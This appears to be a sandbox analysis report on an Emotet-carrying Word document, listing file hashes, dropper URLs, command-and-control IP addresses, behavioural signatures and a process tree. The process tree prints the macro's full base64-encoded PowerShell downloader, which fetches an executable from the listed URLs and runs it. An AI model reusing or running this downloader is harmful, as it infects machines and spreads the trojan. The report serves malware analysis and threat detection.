Analysis
-
max time kernel
59s -
max time network
155s -
platform
windows7_x64 -
resource
win7 -
submitted
28-07-2020 18:30
General
-
Target
emotet_e3_065f17c1cff199738ede64fc624bce7de1e369e0ca9f5193cdaa531763968b17_2020-07-28__183035._doc.doc
-
Size
168KB
-
MD5
1ea756be5aeabb55b6ab88f33d54ad52
-
SHA1
cf4172a0950ba5f048b7b7da365e9842b2556b93
-
SHA256
065f17c1cff199738ede64fc624bce7de1e369e0ca9f5193cdaa531763968b17
-
SHA512
4c7a3cf9b8b6498f16e8da77e5bac56e1ad985421123fce91cb20b5e5117978718dcd9a7e5873616d3007eda2b50a0a82fa497ebfc145eaab4602d53cd585f9b
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://w3art.com/dtla/bBmTEkbPK/
exe.dropper
http://www.stempora.com/@mer/ybV/
exe.dropper
http://sundaystudio.net/cgi-bin/bzsvy9778486/
exe.dropper
http://sujest.com/BL/nQsQRv/
exe.dropper
http://studiotoybox.com/common/qezZSZB/
Extracted
Family
emotet
C2
177.37.81.212:443
74.207.230.187:8080
190.164.75.175:80
87.252.100.28:80
105.209.239.55:80
163.172.107.70:8080
37.208.106.146:8080
24.157.25.203:80
212.112.113.235:80
140.207.113.106:443
75.139.38.211:80
192.210.217.94:8080
46.49.124.53:80
75.127.14.170:8080
87.106.231.60:8080
139.59.12.63:8080
181.167.35.84:80
201.214.108.231:80
74.208.173.91:8080
189.146.1.78:443
rsa_pubkey.plain
Signatures
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 280 IoCs
-
Drops file in System32 directory 2 IoCs
-
Suspicious use of SetWindowsHookEx 6 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Executes dropped EXE 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Emotet Payload 2 IoCs
Detects Emotet payload in memory.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Blacklisted process makes network request 1 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_065f17c1cff199738ede64fc624bce7de1e369e0ca9f5193cdaa531763968b17_2020-07-28__183035._doc.doc"1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABZAFUATgBDAEwAbABoAHgAPQAnAEUASQBBAFYARQB2AHgAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAGAAVQBSAEkAVAB5AGAAUAByAE8AdABvAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABSAE4ATgBZAEoAawB4AG8AIAA9ACAAJwA5ADIAMAAnADsAJABXAEYAVQBQAEMAZQBnAHMAPQAnAFkATgBTAEIATgBwAGwAcwAnADsAJABBAEsAWgBUAEkAdQBkAHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIATgBOAFkASgBrAHgAbwArACcALgBlAHgAZQAnADsAJABYAFkATgBNAEwAcwB6AG0APQAnAFcASgBSAEEATwBtAG8AcwAnADsAJABIAEMARwBPAEgAagB2AGkAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBuAHQAOwAkAFEATwBQAFMAWAB3AHkAZwA9ACcAaAB0AHQAcAA6AC8ALwB3ADMAYQByAHQALgBjAG8AbQAvAGQAdABsAGEALwBiAEIAbQBUAEUAawBiAFAASwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAdABlAG0AcABvAHIAYQAuAGMAbwBtAC8AQABtAGUAcgAvAHkAYgBWAC8AKgBoAHQAdABwADoALwAvAHMAdQBuAGQAYQB5AHMAdAB1AGQAaQBvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AYgB6AHMAdgB5ADkANwA3ADgANAA4ADYALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGoAZQBzAHQALgBjAG8AbQAvAEIATAAvAG4AUQBzAFEAUgB2AC8AKgBoAHQAdABwADoALwAvAHMAdAB1AGQAaQBvAHQAbwB5AGIAbwB4AC4AYwBvAG0ALwBjAG8AbQBtAG8AbgAvAHEAZQB6AFoAUwBaAEIALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUARQBLAFkARgB0AGQAeQA9ACcATABIAE4ARwBTAGQAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQwBZAEIAbABrAG0AIABpAG4AIAAkAFEATwBQAFMAWAB3AHkAZwApAHsAdAByAHkAewAkAEgAQwBHAE8ASABqAHYAaQAuACIAZABPAGAAVwBuAEwATwBgAEEAZABgAEYAaQBMAGUAIgAoACQAWABXAEMAWQBCAGwAawBtACwAIAAkAEEASwBaAFQASQB1AGQAdgApADsAJABWAEsAVQBCAFEAcABsAGoAPQAnAEwAWQBaAEcATQB1AHoAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEASwBaAFQASQB1AGQAdgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAA1ADAAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAGAAVABFACIAKAAkAEEASwBaAFQASQB1AGQAdgApADsAJABaAFMAVQBJAE0AZABuAGUAPQAnAFEAUgBPAEIAUQBtAHMAaQAnADsAYgByAGUAYQBrADsAJABDAE4AVgBNAFYAawByAGEAPQAnAEYAVQBTAEgATABwAGsAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAEIASQBZAEQAbABnAHQAPQAnAFgAVwBJAFQAVQBtAGQAZQAnAA==1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
-
C:\Users\Admin\920.exeC:\Users\Admin\920.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\shutdown\kbd103.exe"C:\Windows\SysWOW64\shutdown\kbd103.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\920.exe
-
C:\Users\Admin\920.exe
-
C:\Windows\SysWOW64\shutdown\kbd103.exe
-
memory/1144-11-0x00000000003B0000-0x00000000003BC000-memory.dmpFilesize
48KB
-
memory/1492-0-0x000000000029D000-0x00000000002A1000-memory.dmpFilesize
16KB
-
memory/1492-2-0x0000000008A80000-0x0000000008A84000-memory.dmpFilesize
16KB
-
memory/1492-4-0x0000000006E20000-0x0000000007020000-memory.dmpFilesize
2.0MB
-
memory/1492-5-0x000000000AEB0000-0x000000000AEB4000-memory.dmpFilesize
16KB
-
memory/1492-6-0x000000000BF30000-0x000000000BF34000-memory.dmpFilesize
16KB
-
memory/1492-9-0x0000000002020000-0x0000000002021000-memory.dmpFilesize
4KB
-
memory/1932-13-0x0000000000000000-mapping.dmp
-
memory/1932-15-0x00000000003A0000-0x00000000003AC000-memory.dmpFilesize
48KB